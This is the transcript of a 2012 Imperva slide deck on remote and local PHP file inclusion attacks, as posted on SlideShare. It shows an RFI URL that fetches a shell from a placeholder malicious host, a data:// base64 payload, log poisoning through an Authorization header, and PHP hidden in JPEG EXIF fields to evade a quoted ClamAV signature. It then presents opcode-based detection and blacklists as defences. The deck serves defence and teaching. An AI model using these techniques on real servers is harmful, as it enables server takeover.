SlideShare une entreprise Scribd logo
1  sur  61
Télécharger pour lire hors ligne
How to Prevent Remote & Local File
          Inclusion Attacks
Tal Be’ery
Web Security Research Team Leader, Imperva
Tal Be’ery, CISSP

     Web Security Research Team Leader at Imperva
     Holds MSc & BSc degree in CS/EE from TAU
     10+ experience in the IS domain
     Facebook “white hat”
     Speaker at RSA, BlackHat, AusCERT




                     © 2012 Imperva, Inc. All rights reserved.
Contents

   PHP Background and Internals
   RFI Insight
     + Analysis of TimThumb shell “caught in the wild”
     + Advanced RFI using PHP streams and Wrappers
   LFI Insight
     + Innovative method for editing file content to embed PHP code
       and evade AV detection
     + Novel detection method
   RFI and LFI in the Wild
     + New detection method using community based reputation data
   Questions and Answers


 3                     © 2012 Imperva, Inc. All rights reserved.
RFI, LFI - Under the Radar

   PHP is everywhere
   Exploiting PHP’s include vulnerabilities with RFI LFI
    attacks leads to full server takeover
   Hackers are actively attacking organizations
     + TimThumb exploit reportedly compromised 1.2 million pages
   And yet..
     + OWASP Top 10 in 2007 (#3)


     + Dropped in 2010




                      © 2012 Imperva, Inc. All rights reserved.
Breadth and Depth of PHP

   The most popular server-side programming language in
    the world!




                    © 2012 Imperva, Inc. All rights reserved.
Breadth and Depth of PHP

   Popular Web applications are powered by PHP




                    © 2012 Imperva, Inc. All rights reserved.
PHP Internals - Parser HTML Mode

   PHP’s parser starts on HTML
    mode
   Ignores everything until it hits
    a PHP's opening tag
     + typically “<?php”, but also “<?”
   PHP code is now parsed and
    compiled
   When parser hits a closing tag
    (“?>”), it drops back to HTML
    mode
   Allows “mixed” coding


                       © 2012 Imperva, Inc. All rights reserved.
PHP Internals - PHP Execution Steps

     Parsing
     • Code is converted into tokens (Lexing)…
     • Tokens are processed into meaningful expressions
       (Parsing).




           Compiling
           • Derived expressions are converted into OpCodes.




                  Execution
                  • OpCodes are executed by the PHP engine.




 8                               © 2012 Imperva, Inc. All rights reserved.
PHP Internals - Disassembling with VLD Extension




                    PHP                                      Dumps the
                    Extension                                                Code is
     Vulcan Logic                                            OpCodes of
                    • http://pecl.php.net/                                 compiled but
     Disassembler                                             complied
                      package/vld
                                                                           not executed
                    • Maintainers - Derick                   PHP scripts
                      Rethans (lead)




 9                        © 2012 Imperva, Inc. All rights reserved.
PHP Internals - VLD Analysis Demo




                                                             Compile




                 © 2012 Imperva, Inc. All rights reserved.
PHP internals - Include()

   The include() statement includes and evaluates the
    specified file
   Used to share code by reference
   PHP Version >=4.3
     + Remote files (http://) are valid include targets
   The parser drops to HTML mode at the beginning of the
    included file




                        © 2012 Imperva, Inc. All rights reserved.
And You Thought Eval() is Evil…

   Meet Eval()’s hungry sister – include()
   Not only does she evaluate arbitrary code
   She eats everything before code
     + HTML mode - Code can be prepended with anything (including
       binary content)
   She loves dining out
     + Code can reside outside of the application




                         © 2012 Imperva, Inc. All rights reserved.
RFI Exploitation

   Simple vulnerable app for warm up




   Exploit:
     + http://www.vulnerable.com/test.php?file=http://www.malicious.
       com/shell.txt




                       © 2012 Imperva, Inc. All rights reserved.
RFI in the Wild




14    © 2012 Imperva, Inc. All rights reserved.
Hacker Intel – Observations in the Wild


   Hackers Intelligence Initiative (HII)
     + Initiated in 2010
     + Goes deep inside the cyber-underground and provides analysis
       of trending hacking techniques and attack campaigns in real
       time
     + Includes honey pots consisting of 40 Web applications
     + Analyzes security logs




                       © 2012 Imperva, Inc. All rights reserved.
RFI in the Wild - TimThumb


   TimThumb -
     + A WordPress extension to produce thumbnails of images
     + Vulnerable to RFI
     + 1.2 million exploited pages




                       © 2012 Imperva, Inc. All rights reserved.
TimThumb Exploit Analysis

   Shell host - picasa.com.moveissantafe.com
     + Evaded TimThumb filter that allowed inclusion only from limited
       set of hosts
     + The implemented host check mistakenly allowed
       “picasa.com.moveissantafe.com” to pass as “picasa.com”
   Started with a GIF file identifier, but then switched to
    encoded PHP
     + Evaded another TimThumb security filter used to verify that the
        file was indeed a valid picture




                         © 2012 Imperva, Inc. All rights reserved.
TimThumb Exploit Analysis, Continued

   Execution was controlled with additional HTTP parameters
     + LOL and OSC




                     © 2012 Imperva, Inc. All rights reserved.
TimThumb Exploit Analysis, Continued

   Execution was controlled with additional HTTP parameters
     + LOL and OSC




                     © 2012 Imperva, Inc. All rights reserved.
TimThumb Exploit Analysis, Continued

   Execution was controlled with additional HTTP parameters
     + LOL and OSC




                     © 2012 Imperva, Inc. All rights reserved.
TimThumb Exploit Analysis, Continued

   Execution was controlled with additional HTTP parameters
     + LOL and OSC




                     © 2012 Imperva, Inc. All rights reserved.
Advanced RFI with PHP Streams




22            © 2012 Imperva, Inc. All rights reserved.
Advanced RFI with PHP Streams

   Streams are a way of generalizing file, network, data
    compression, and other operations
   Examples:
     + Accessing HTTP(s) URLs - http:// https://
     + Accessing FTP(s) URLs - ftp:// ftps://
     + Data ( RFC 2397) - data://
     + Accessing local filesystem - file://
     + Accessing various I/O streams - php://
     + Compression Streams - zlib:// , bzip2:// , zip://




                        © 2012 Imperva, Inc. All rights reserved.
RFI PHP Streams

   Hacker’s objective
     + Run the following code <?php phpinfo(); ?> on RFI vulnerable
        app
   Degree of difficulty
     + No shell hosting is allowed
   Means
     + Bare hands




                        © 2012 Imperva, Inc. All rights reserved.
RFI PHP Streams - Attack Example

   base64(“<?php phpinfo()?>”) =
    "PD9waHAgcGhwaW5mbygpPz4="
   Wrapped in data wrapper:
     + "data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4="




                     © 2012 Imperva, Inc. All rights reserved.
RFI PHP Streams - Attack Example, Continued




                © 2012 Imperva, Inc. All rights reserved.
RFI PHP Streams - Attack Example, Continued




                 Mission Accomplished!




                © 2012 Imperva, Inc. All rights reserved.
PHP Streams - Why Hackers Use Them

   To evade security filters
     + Many filters look only for exploits with the standard protocols
   To hide attack source
     + Shell URL obfuscation (compressed, base64)
   To compromise without a hosted shell
     + Using data wrapper




                        © 2012 Imperva, Inc. All rights reserved.
Local File Inclusion




29      © 2012 Imperva, Inc. All rights reserved.
LFI - Why Hackers Use It


   LFI – malicious code must be stored locally
   Extra work – why bother?
   Because RFI is disabled by default
     + PHP version 5.2: allow_url_include = off
     + ~ 90% PHP deployments versions >=5.2




                       © 2012 Imperva, Inc. All rights reserved.
LFI - How to be Local

   Abuse existing file write functionality within the server –
    log files
   Abuse file upload functionality to embed malicious code
    within the uploaded file
   Let’s demo it…




                      © 2012 Imperva, Inc. All rights reserved.
LFI - Attacking Logs

   Hacker’s objective
     + Run the following code <?php phpinfo(); ?>
   Degree of difficulty
     + allow_url_include = off, code must be local
   Means
     + Proxy (or any other way to edit HTTP headers)




                       © 2012 Imperva, Inc. All rights reserved.
LFI - Attacking Logs Example

  Authorization: Basic base64(user:pass) = Authorization:
    Basic base64(<?php phpinfo()?>:123456) =
    Authorization: Basic
    PD9waHAgcGhwaW5mbygpPz46MTIzNTY=)




                     © 2012 Imperva, Inc. All rights reserved.
LFI - Attacking Logs Example, Continued




                 © 2012 Imperva, Inc. All rights reserved.
LFI - Attacking Logs Example, Continued




                 Mission Accomplished!




                 © 2012 Imperva, Inc. All rights reserved.
LFI - Abusing Upload

   Hacker’s objective
     + Upload a picture with known malicious code to create LFI
   Degree of difficulty
     + Picture appearance must not change
     + AV must not detect the code
   Means
     + Bare hands




                       © 2012 Imperva, Inc. All rights reserved.
LFI – Abusing Upload Example
     Initial PHP Code

   <?php /* Fx29ID */ echo("FeeL"."CoMz");
    die("FeeL"."CoMz"); /* Fx29ID */ ?>
   Prints FeeLCoMz twice
   Found in the wild
   Detected by AVs




                   © 2012 Imperva, Inc. All rights reserved.
LFI – Abusing Upload Example
     Embedding Code in Picture, Phase I

   Picture – jpg format
   Editing EXIF properties




                     © 2012 Imperva, Inc. All rights reserved.
LFI – Abusing Upload Example
     Embedding Code in Picture, Phase I

   Picture – jpg format
   Editing EXIF properties




               Better… But not good enough!




                     © 2012 Imperva, Inc. All rights reserved.
LFI – Abusing Upload Example
     Embedding Code in Picture, Phase II

   Let’s split the vector across two adjacent properties




                      © 2012 Imperva, Inc. All rights reserved.
LFI – Abusing Upload Example
     Embedding Code in Picture, Phase II

   Let’s split the vector across two adjacent properties




                   Better… But not good enough!




                      © 2012 Imperva, Inc. All rights reserved.
LFI – Abusing Upload Example
     Embedding Code in Picture, Phase III

   Now it gets personal
   ClamAV signature PHP.Hide-
    1 :0:0:ffd8ffe0?0104a464946{-
    4000}3c3f706870(0d|20|0a)
   3c3f706870 is hex for <?php.
   Maybe changing the case will work…




                    © 2012 Imperva, Inc. All rights reserved.
LFI – Abusing Upload Example, Recap

   Hacker’s objective
     + Upload a picture with known malicious code to create LFI
   Degree of difficulty
     + Picture appearance must not change
     + AV must not detect the code




                       © 2012 Imperva, Inc. All rights reserved.
LFI – Abusing Upload Example, Recap

   Hacker’s objective
     + Upload a picture with known malicious code to create LFI
   Degree of difficulty
     + Picture appearance must not change
     + AV must not detect the code




                       © 2012 Imperva, Inc. All rights reserved.
LFI – Abusing Upload Example, Recap

   Hacker’s objective
     + Upload a picture with known malicious code to create LFI
   Degree of difficulty
     + Picture appearance must not change
     + AV must not detect the Accomplished!
                     Mission code




                       © 2012 Imperva, Inc. All rights reserved.
LFI – Abusing Upload - Why AV Fails

   General purpose AVs search only for malicious code.
     + In the context of LFI exploit detection we are OK with detecting
       files containing any PHP code.
   General purpose AVs are built to find compiled
    malicious code.
     + Finding malicious source code requires a different set of
       features and awareness to text related evasions.




                       © 2012 Imperva, Inc. All rights reserved.
LFI - Abusive File Upload Misdetection

   Anti Virus - we just witnessed how they fail at this task
   Degenerated PHP parser - Looks only for PHP begin/end
    tokens.
     + Looks for short tags (<?.*?>) - many false positives
   Compile the uploaded file and check if it compiles
     + Even benign documents are (trivially) compiled
   Run the file and see if it executes – hmm… 




                       © 2012 Imperva, Inc. All rights reserved.
LFI - Abusive Upload File Detection

   VLD it!
     + Compile the file with VLD
     + Inspect the OpCodes
     + No execution
   A non-PHP code bearing files will yield only two OpCodes
     + ECHO – to print the non PHP code
     + RETURN – to return after the “execution”




                       © 2012 Imperva, Inc. All rights reserved.
LFI - Abusive File Detection with VLD Demo




                 © 2012 Imperva, Inc. All rights reserved.
RFI, LFI in the Wild




50      © 2012 Imperva, Inc. All rights reserved.
RFI, LFI in the Wild


   Very relevant
     + 20% of all Web application attacks
   LFI is more prevalent than RFI
     + 90% of PHP deployments are of versions that do not allow RFI
       by default




                       © 2012 Imperva, Inc. All rights reserved.
RFI in the Wild - Sources Analysis

   Highly automated
   Consistent attackers




                     © 2012 Imperva, Inc. All rights reserved.
RFI in the Wild - Sources Analysis

   Many sources attack more than one target




                    © 2012 Imperva, Inc. All rights reserved.
RFI in the Wild - Shell Hosting URLs Analysis

  Obtaining shell hosting URLs:btaining shell hosting URLs:
  1. Analyze Honey pot’s RFI Security Log entry
     http://www.vulnerable.com/test.php?file=http://www.
     malicious.com/shell.txt
  2. Download the shell - wget
     http://www.malicious.com/shell.txt
  3. Verify it’s a script – to refrain from false positives




                     © 2012 Imperva, Inc. All rights reserved.
RFI in the Wild - Shell Hosting URLs Analysis

   Some URLs are being used consistently




                    © 2012 Imperva, Inc. All rights reserved.
RFI in the Wild - Shell Hosting URLs Analysis

   Many shell URLs are used against more than one target




                    © 2012 Imperva, Inc. All rights reserved.
A New Approach - Community Based RFI Black Lists

   Attack characteristics (source, Shell URL)
     + Non transient – stable for days
     + General - not confined to a single honey pot
   By forming a community that shares RFI data we can
    create black lists
     + Attack sources
     + Attackers’ shell hosting URLs
   Achieve better protection!




                        © 2012 Imperva, Inc. All rights reserved.
Additional Resources




58       © 2012 Imperva, Inc. All rights reserved.
Hacker Intelligence Initiative

   Subscribe to Imperva’s Hacker
    Intelligence Initiative (HII):
       + Sign up to stay informed on all the
         latest attacks and hacking techniques
   Download HII RFI Resources:
       + Report: Remote File Inclusion (RFI)
         Vulnerabilities 101
       + Infographic: Exploiting RFI Attacks 101




  59                     © 2012 Imperva, Inc. All rights reserved.
Presentation Materials

    Join Imperva’s LinkedIn Group
    Data Security Direct for…

              Post-                                                  Answers to
           Presentation                                               Attendee
           Discussions                                               Questions



              Link to                                             Link to
           Presentation                                        Presentation
              Audio                                               Slides

           http://www.linkedin.com/groups/Imperva-Data-Security-Direct-3849609

                         © 2012 Imperva, Inc. All rights reserved.
www.imperva.com




- CONFIDENTIAL -

Contenu connexe

Tendances

OWASP AppSecEU 2018 – Attacking "Modern" Web Technologies
OWASP AppSecEU 2018 – Attacking "Modern" Web TechnologiesOWASP AppSecEU 2018 – Attacking "Modern" Web Technologies
OWASP AppSecEU 2018 – Attacking "Modern" Web TechnologiesFrans Rosén
 
Effective Threat Hunting with Tactical Threat Intelligence
Effective Threat Hunting with Tactical Threat IntelligenceEffective Threat Hunting with Tactical Threat Intelligence
Effective Threat Hunting with Tactical Threat IntelligenceDhruv Majumdar
 
Penetration Testing Basics
Penetration Testing BasicsPenetration Testing Basics
Penetration Testing BasicsRick Wanner
 
Trojans and backdoors
Trojans and backdoorsTrojans and backdoors
Trojans and backdoorsGaurav Dalvi
 
Vulnerability Management
Vulnerability ManagementVulnerability Management
Vulnerability Managementasherad
 
Introduction to Web Application Penetration Testing
Introduction to Web Application Penetration TestingIntroduction to Web Application Penetration Testing
Introduction to Web Application Penetration TestingNetsparker
 
Practical Malware Analysis: Ch 0: Malware Analysis Primer & 1: Basic Static T...
Practical Malware Analysis: Ch 0: Malware Analysis Primer & 1: Basic Static T...Practical Malware Analysis: Ch 0: Malware Analysis Primer & 1: Basic Static T...
Practical Malware Analysis: Ch 0: Malware Analysis Primer & 1: Basic Static T...Sam Bowne
 
Application Security Architecture and Threat Modelling
Application Security Architecture and Threat ModellingApplication Security Architecture and Threat Modelling
Application Security Architecture and Threat ModellingPriyanka Aash
 
Bug bounty null_owasp_2k17
Bug bounty null_owasp_2k17Bug bounty null_owasp_2k17
Bug bounty null_owasp_2k17Sagar M Parmar
 
What is Network Security?
What is Network Security?What is Network Security?
What is Network Security?Faith Zeller
 
Threat modelling(system + enterprise)
Threat modelling(system + enterprise)Threat modelling(system + enterprise)
Threat modelling(system + enterprise)abhimanyubhogwan
 
Vulnerabilities in modern web applications
Vulnerabilities in modern web applicationsVulnerabilities in modern web applications
Vulnerabilities in modern web applicationsNiyas Nazar
 
Unrestricted file upload CWE-434 - Adam Nurudini (ISACA)
Unrestricted file upload CWE-434 -  Adam Nurudini (ISACA)Unrestricted file upload CWE-434 -  Adam Nurudini (ISACA)
Unrestricted file upload CWE-434 - Adam Nurudini (ISACA)Adam Nurudini
 

Tendances (20)

Secure Code Review 101
Secure Code Review 101Secure Code Review 101
Secure Code Review 101
 
OWASP AppSecEU 2018 – Attacking "Modern" Web Technologies
OWASP AppSecEU 2018 – Attacking "Modern" Web TechnologiesOWASP AppSecEU 2018 – Attacking "Modern" Web Technologies
OWASP AppSecEU 2018 – Attacking "Modern" Web Technologies
 
Effective Threat Hunting with Tactical Threat Intelligence
Effective Threat Hunting with Tactical Threat IntelligenceEffective Threat Hunting with Tactical Threat Intelligence
Effective Threat Hunting with Tactical Threat Intelligence
 
Penetration Testing Basics
Penetration Testing BasicsPenetration Testing Basics
Penetration Testing Basics
 
Trojans and backdoors
Trojans and backdoorsTrojans and backdoors
Trojans and backdoors
 
Vulnerability Management
Vulnerability ManagementVulnerability Management
Vulnerability Management
 
Introduction to Web Application Penetration Testing
Introduction to Web Application Penetration TestingIntroduction to Web Application Penetration Testing
Introduction to Web Application Penetration Testing
 
Wazuh Security Platform
Wazuh Security PlatformWazuh Security Platform
Wazuh Security Platform
 
Practical Malware Analysis: Ch 0: Malware Analysis Primer & 1: Basic Static T...
Practical Malware Analysis: Ch 0: Malware Analysis Primer & 1: Basic Static T...Practical Malware Analysis: Ch 0: Malware Analysis Primer & 1: Basic Static T...
Practical Malware Analysis: Ch 0: Malware Analysis Primer & 1: Basic Static T...
 
Application Security Architecture and Threat Modelling
Application Security Architecture and Threat ModellingApplication Security Architecture and Threat Modelling
Application Security Architecture and Threat Modelling
 
Vapt pci dss methodology ppt v1.0
Vapt pci dss methodology ppt v1.0Vapt pci dss methodology ppt v1.0
Vapt pci dss methodology ppt v1.0
 
Cyber kill chain
Cyber kill chainCyber kill chain
Cyber kill chain
 
Bug bounty null_owasp_2k17
Bug bounty null_owasp_2k17Bug bounty null_owasp_2k17
Bug bounty null_owasp_2k17
 
SIEM Architecture
SIEM ArchitectureSIEM Architecture
SIEM Architecture
 
What is Network Security?
What is Network Security?What is Network Security?
What is Network Security?
 
Supply chain-attack
Supply chain-attackSupply chain-attack
Supply chain-attack
 
Penetration Testing Guide
Penetration Testing GuidePenetration Testing Guide
Penetration Testing Guide
 
Threat modelling(system + enterprise)
Threat modelling(system + enterprise)Threat modelling(system + enterprise)
Threat modelling(system + enterprise)
 
Vulnerabilities in modern web applications
Vulnerabilities in modern web applicationsVulnerabilities in modern web applications
Vulnerabilities in modern web applications
 
Unrestricted file upload CWE-434 - Adam Nurudini (ISACA)
Unrestricted file upload CWE-434 -  Adam Nurudini (ISACA)Unrestricted file upload CWE-434 -  Adam Nurudini (ISACA)
Unrestricted file upload CWE-434 - Adam Nurudini (ISACA)
 

En vedette

Remote File Inclusion (RFI) Vulnerabilities 101
Remote File Inclusion (RFI) Vulnerabilities 101Remote File Inclusion (RFI) Vulnerabilities 101
Remote File Inclusion (RFI) Vulnerabilities 101Imperva
 
On secure application of PHP wrappers
On secure application  of PHP wrappersOn secure application  of PHP wrappers
On secure application of PHP wrappersPositive Hack Days
 
Vtu cs 7th_sem_question_papers
Vtu cs 7th_sem_question_papersVtu cs 7th_sem_question_papers
Vtu cs 7th_sem_question_papersmegharajk
 
Tresc I Zakres Wyrazu
Tresc I Zakres WyrazuTresc I Zakres Wyrazu
Tresc I Zakres Wyrazuguest0e890c
 
Tấn công ARP Cache Poisoning (Man In The Middle) Attacks
Tấn công ARP Cache Poisoning (Man In The Middle) AttacksTấn công ARP Cache Poisoning (Man In The Middle) Attacks
Tấn công ARP Cache Poisoning (Man In The Middle) Attackstiktiktc
 
Top 10 Web App Security Risks
Top 10 Web App Security RisksTop 10 Web App Security Risks
Top 10 Web App Security RisksSperasoft
 
Introduction to Web security
Introduction to Web securityIntroduction to Web security
Introduction to Web securityjeyaselvir
 
Web Application Security with PHP
Web Application Security with PHPWeb Application Security with PHP
Web Application Security with PHPjikbal
 
Web Application Security Vulnerability Management Framework
Web Application Security Vulnerability Management FrameworkWeb Application Security Vulnerability Management Framework
Web Application Security Vulnerability Management Frameworkjpubal
 
OWASP Top 10 Web Application Vulnerabilities
OWASP Top 10 Web Application VulnerabilitiesOWASP Top 10 Web Application Vulnerabilities
OWASP Top 10 Web Application VulnerabilitiesSoftware Guru
 
Top 10 Web Security Vulnerabilities
Top 10 Web Security VulnerabilitiesTop 10 Web Security Vulnerabilities
Top 10 Web Security VulnerabilitiesCarol McDonald
 
Web Security
Web SecurityWeb Security
Web SecurityADIEFEH
 
Web Security
Web SecurityWeb Security
Web SecurityTripad M
 

En vedette (20)

Local File Inclusion to Remote Code Execution
Local File Inclusion to Remote Code ExecutionLocal File Inclusion to Remote Code Execution
Local File Inclusion to Remote Code Execution
 
Remote File Inclusion (RFI) Vulnerabilities 101
Remote File Inclusion (RFI) Vulnerabilities 101Remote File Inclusion (RFI) Vulnerabilities 101
Remote File Inclusion (RFI) Vulnerabilities 101
 
On secure application of PHP wrappers
On secure application  of PHP wrappersOn secure application  of PHP wrappers
On secure application of PHP wrappers
 
Vtu cs 7th_sem_question_papers
Vtu cs 7th_sem_question_papersVtu cs 7th_sem_question_papers
Vtu cs 7th_sem_question_papers
 
Tresc I Zakres Wyrazu
Tresc I Zakres WyrazuTresc I Zakres Wyrazu
Tresc I Zakres Wyrazu
 
LFI to RCE
LFI to RCELFI to RCE
LFI to RCE
 
Tấn công ARP Cache Poisoning (Man In The Middle) Attacks
Tấn công ARP Cache Poisoning (Man In The Middle) AttacksTấn công ARP Cache Poisoning (Man In The Middle) Attacks
Tấn công ARP Cache Poisoning (Man In The Middle) Attacks
 
Alegria - Cirque du Solei!
Alegria - Cirque du Solei!Alegria - Cirque du Solei!
Alegria - Cirque du Solei!
 
Index chrome
Index chromeIndex chrome
Index chrome
 
PHP Secure Programming
PHP Secure ProgrammingPHP Secure Programming
PHP Secure Programming
 
36 5.1 wzps_tresc
36 5.1 wzps_tresc36 5.1 wzps_tresc
36 5.1 wzps_tresc
 
Top 10 Web App Security Risks
Top 10 Web App Security RisksTop 10 Web App Security Risks
Top 10 Web App Security Risks
 
Introduction to Web security
Introduction to Web securityIntroduction to Web security
Introduction to Web security
 
Web Application Security with PHP
Web Application Security with PHPWeb Application Security with PHP
Web Application Security with PHP
 
Web Application Security Vulnerability Management Framework
Web Application Security Vulnerability Management FrameworkWeb Application Security Vulnerability Management Framework
Web Application Security Vulnerability Management Framework
 
OWASP Top 10 Web Application Vulnerabilities
OWASP Top 10 Web Application VulnerabilitiesOWASP Top 10 Web Application Vulnerabilities
OWASP Top 10 Web Application Vulnerabilities
 
Top 10 Web Security Vulnerabilities
Top 10 Web Security VulnerabilitiesTop 10 Web Security Vulnerabilities
Top 10 Web Security Vulnerabilities
 
Web Security 101
Web Security 101Web Security 101
Web Security 101
 
Web Security
Web SecurityWeb Security
Web Security
 
Web Security
Web SecurityWeb Security
Web Security
 

Similaire à How to Prevent RFI and LFI Attacks

Introduction to PHP - SDPHP
Introduction to PHP - SDPHPIntroduction to PHP - SDPHP
Introduction to PHP - SDPHPEric Johnson
 
Integrating PHP With System-i using Web Services
Integrating PHP With System-i using Web ServicesIntegrating PHP With System-i using Web Services
Integrating PHP With System-i using Web ServicesIvo Jansch
 
PHP Installed on IBM i - the Nickel Tour
PHP Installed on IBM i - the Nickel TourPHP Installed on IBM i - the Nickel Tour
PHP Installed on IBM i - the Nickel TourRod Flohr
 
Getting started with PHP on IBM i
Getting started with PHP on IBM iGetting started with PHP on IBM i
Getting started with PHP on IBM iCOMMON Europe
 
Ny symfony meetup may 2015
Ny symfony meetup may 2015Ny symfony meetup may 2015
Ny symfony meetup may 2015Roland Benedetti
 
Zend Products and PHP for IBMi
Zend Products and PHP for IBMi  Zend Products and PHP for IBMi
Zend Products and PHP for IBMi Shlomo Vanunu
 
Website security systems
Website security systemsWebsite security systems
Website security systemsMobile88
 
Running Apache Zeppelin production
Running Apache Zeppelin productionRunning Apache Zeppelin production
Running Apache Zeppelin productionVinay Shukla
 
Running Zeppelin in Enterprise
Running Zeppelin in EnterpriseRunning Zeppelin in Enterprise
Running Zeppelin in EnterpriseDataWorks Summit
 
Federico Feroldi: PHP in Yahoo!
Federico Feroldi: PHP in Yahoo!Federico Feroldi: PHP in Yahoo!
Federico Feroldi: PHP in Yahoo!Francesco Fullone
 
Federico Feroldi Php In Yahoo
Federico Feroldi Php In YahooFederico Feroldi Php In Yahoo
Federico Feroldi Php In YahooFederico Feroldi
 
chapter 5 Server-Side Scripting (PHP).pdf
chapter 5 Server-Side Scripting (PHP).pdfchapter 5 Server-Side Scripting (PHP).pdf
chapter 5 Server-Side Scripting (PHP).pdfburasyacob012
 
PHP SA 2013 - The weak points in our PHP projects
PHP SA 2013 - The weak points in our PHP projectsPHP SA 2013 - The weak points in our PHP projects
PHP SA 2013 - The weak points in our PHP projectsxsist10
 
PHP: Hypertext Preprocessor Introduction
PHP: Hypertext Preprocessor IntroductionPHP: Hypertext Preprocessor Introduction
PHP: Hypertext Preprocessor IntroductionOto Brglez
 

Similaire à How to Prevent RFI and LFI Attacks (20)

Introduction to PHP - SDPHP
Introduction to PHP - SDPHPIntroduction to PHP - SDPHP
Introduction to PHP - SDPHP
 
Integrating PHP With System-i using Web Services
Integrating PHP With System-i using Web ServicesIntegrating PHP With System-i using Web Services
Integrating PHP With System-i using Web Services
 
PHP Installed on IBM i - the Nickel Tour
PHP Installed on IBM i - the Nickel TourPHP Installed on IBM i - the Nickel Tour
PHP Installed on IBM i - the Nickel Tour
 
Getting started with PHP on IBM i
Getting started with PHP on IBM iGetting started with PHP on IBM i
Getting started with PHP on IBM i
 
Ny symfony meetup may 2015
Ny symfony meetup may 2015Ny symfony meetup may 2015
Ny symfony meetup may 2015
 
Zend Products and PHP for IBMi
Zend Products and PHP for IBMi  Zend Products and PHP for IBMi
Zend Products and PHP for IBMi
 
Website security systems
Website security systemsWebsite security systems
Website security systems
 
24307183 php
24307183 php24307183 php
24307183 php
 
PHP ITCS 323
PHP ITCS 323PHP ITCS 323
PHP ITCS 323
 
Running Apache Zeppelin production
Running Apache Zeppelin productionRunning Apache Zeppelin production
Running Apache Zeppelin production
 
Running Zeppelin in Enterprise
Running Zeppelin in EnterpriseRunning Zeppelin in Enterprise
Running Zeppelin in Enterprise
 
Federico Feroldi: PHP in Yahoo!
Federico Feroldi: PHP in Yahoo!Federico Feroldi: PHP in Yahoo!
Federico Feroldi: PHP in Yahoo!
 
Federico Feroldi Php In Yahoo
Federico Feroldi Php In YahooFederico Feroldi Php In Yahoo
Federico Feroldi Php In Yahoo
 
A Tale of Two Toolkits
A Tale of Two ToolkitsA Tale of Two Toolkits
A Tale of Two Toolkits
 
chapter 5 Server-Side Scripting (PHP).pdf
chapter 5 Server-Side Scripting (PHP).pdfchapter 5 Server-Side Scripting (PHP).pdf
chapter 5 Server-Side Scripting (PHP).pdf
 
Phpyahoo
PhpyahooPhpyahoo
Phpyahoo
 
Php Ppt
Php PptPhp Ppt
Php Ppt
 
Training ppt
Training pptTraining ppt
Training ppt
 
PHP SA 2013 - The weak points in our PHP projects
PHP SA 2013 - The weak points in our PHP projectsPHP SA 2013 - The weak points in our PHP projects
PHP SA 2013 - The weak points in our PHP projects
 
PHP: Hypertext Preprocessor Introduction
PHP: Hypertext Preprocessor IntroductionPHP: Hypertext Preprocessor Introduction
PHP: Hypertext Preprocessor Introduction
 

Plus de Imperva

Cybersecurity and Healthcare - HIMSS 2018 Survey
Cybersecurity and Healthcare - HIMSS 2018 SurveyCybersecurity and Healthcare - HIMSS 2018 Survey
Cybersecurity and Healthcare - HIMSS 2018 SurveyImperva
 
API Security Survey
API Security SurveyAPI Security Survey
API Security SurveyImperva
 
Imperva ppt
Imperva pptImperva ppt
Imperva pptImperva
 
Beyond takeover: stories from a hacked account
Beyond takeover: stories from a hacked accountBeyond takeover: stories from a hacked account
Beyond takeover: stories from a hacked accountImperva
 
Research: From zero to phishing in 60 seconds
Research: From zero to phishing in 60 seconds Research: From zero to phishing in 60 seconds
Research: From zero to phishing in 60 seconds Imperva
 
Making Sense of Web Attacks: From Alerts to Narratives
Making Sense of Web Attacks: From Alerts to NarrativesMaking Sense of Web Attacks: From Alerts to Narratives
Making Sense of Web Attacks: From Alerts to NarrativesImperva
 
How We Blocked a 650Gb DDoS Attack Over Lunch
How We Blocked a 650Gb DDoS Attack Over LunchHow We Blocked a 650Gb DDoS Attack Over Lunch
How We Blocked a 650Gb DDoS Attack Over LunchImperva
 
Survey: Insider Threats and Cyber Security
Survey: Insider Threats and Cyber SecuritySurvey: Insider Threats and Cyber Security
Survey: Insider Threats and Cyber SecurityImperva
 
Companies Aware, but Not Prepared for GDPR
Companies Aware, but Not Prepared for GDPRCompanies Aware, but Not Prepared for GDPR
Companies Aware, but Not Prepared for GDPRImperva
 
Rise of Ransomware
Rise of Ransomware Rise of Ransomware
Rise of Ransomware Imperva
 
7 Tips to Protect Your Data from Contractors and Privileged Vendors
7 Tips to Protect Your Data from Contractors and Privileged Vendors7 Tips to Protect Your Data from Contractors and Privileged Vendors
7 Tips to Protect Your Data from Contractors and Privileged VendorsImperva
 
SEO Botnet Sophistication
SEO Botnet SophisticationSEO Botnet Sophistication
SEO Botnet SophisticationImperva
 
Phishing Made Easy
Phishing Made EasyPhishing Made Easy
Phishing Made EasyImperva
 
Imperva 2017 Cyber Threat Defense Report
Imperva 2017 Cyber Threat Defense ReportImperva 2017 Cyber Threat Defense Report
Imperva 2017 Cyber Threat Defense ReportImperva
 
Combat Payment Card Attacks with WAF and Threat Intelligence
Combat Payment Card Attacks with WAF and Threat IntelligenceCombat Payment Card Attacks with WAF and Threat Intelligence
Combat Payment Card Attacks with WAF and Threat IntelligenceImperva
 
HTTP/2: Faster Doesn't Mean Safer, Attack Surface Growing Exponentially
HTTP/2: Faster Doesn't Mean Safer, Attack Surface Growing ExponentiallyHTTP/2: Faster Doesn't Mean Safer, Attack Surface Growing Exponentially
HTTP/2: Faster Doesn't Mean Safer, Attack Surface Growing ExponentiallyImperva
 
Get Going With Your GDPR Plan
Get Going With Your GDPR PlanGet Going With Your GDPR Plan
Get Going With Your GDPR PlanImperva
 
Cyber Criminal's Path To Your Data
Cyber Criminal's Path To Your DataCyber Criminal's Path To Your Data
Cyber Criminal's Path To Your DataImperva
 
Combat Today's Threats With A Single Platform For App and Data Security
Combat Today's Threats With A Single Platform For App and Data SecurityCombat Today's Threats With A Single Platform For App and Data Security
Combat Today's Threats With A Single Platform For App and Data SecurityImperva
 
Hacking HTTP/2 : New attacks on the Internet’s Next Generation Foundation
Hacking HTTP/2: New attacks on the Internet’s Next Generation FoundationHacking HTTP/2: New attacks on the Internet’s Next Generation Foundation
Hacking HTTP/2 : New attacks on the Internet’s Next Generation FoundationImperva
 

Plus de Imperva (20)

Cybersecurity and Healthcare - HIMSS 2018 Survey
Cybersecurity and Healthcare - HIMSS 2018 SurveyCybersecurity and Healthcare - HIMSS 2018 Survey
Cybersecurity and Healthcare - HIMSS 2018 Survey
 
API Security Survey
API Security SurveyAPI Security Survey
API Security Survey
 
Imperva ppt
Imperva pptImperva ppt
Imperva ppt
 
Beyond takeover: stories from a hacked account
Beyond takeover: stories from a hacked accountBeyond takeover: stories from a hacked account
